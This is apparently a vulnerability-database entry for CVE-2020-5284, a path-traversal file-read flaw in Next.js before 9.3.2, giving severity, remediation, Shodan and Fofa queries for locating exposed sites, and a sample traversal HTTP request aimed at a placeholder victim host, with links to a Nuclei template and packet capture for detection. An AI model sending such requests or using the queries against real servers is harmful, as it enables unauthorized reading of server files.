🔙 목록으로 돌아가기

CVE-2020-5284: Next.js <9.3.2 - Local File Inclusion

TitleNext.js <9.3.2 - Local File Inclusion
Authorrootxharsh,iamnoooob,dwisiswant0
SeverityMedium
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationThis issue is fixed in version 9.3.2.
CVSS Score4.3
EPSS Score0.79765
CVE IDCVE-2020-5284
CWE IDCWE-22,CWE-23
Shodan Queryhttp.html:"/_next/static"cpe:"cpe:2.3:a:zeit:next.js"
Fofa Querybody="/_next/static"
Tags cve cve2020 nextjs lfi zeit vuln

🔍 Vulnerability Description

Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.

🌐 HTTP Request

GET /_next/static/../server/pages-manifest.json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5284.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5284.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A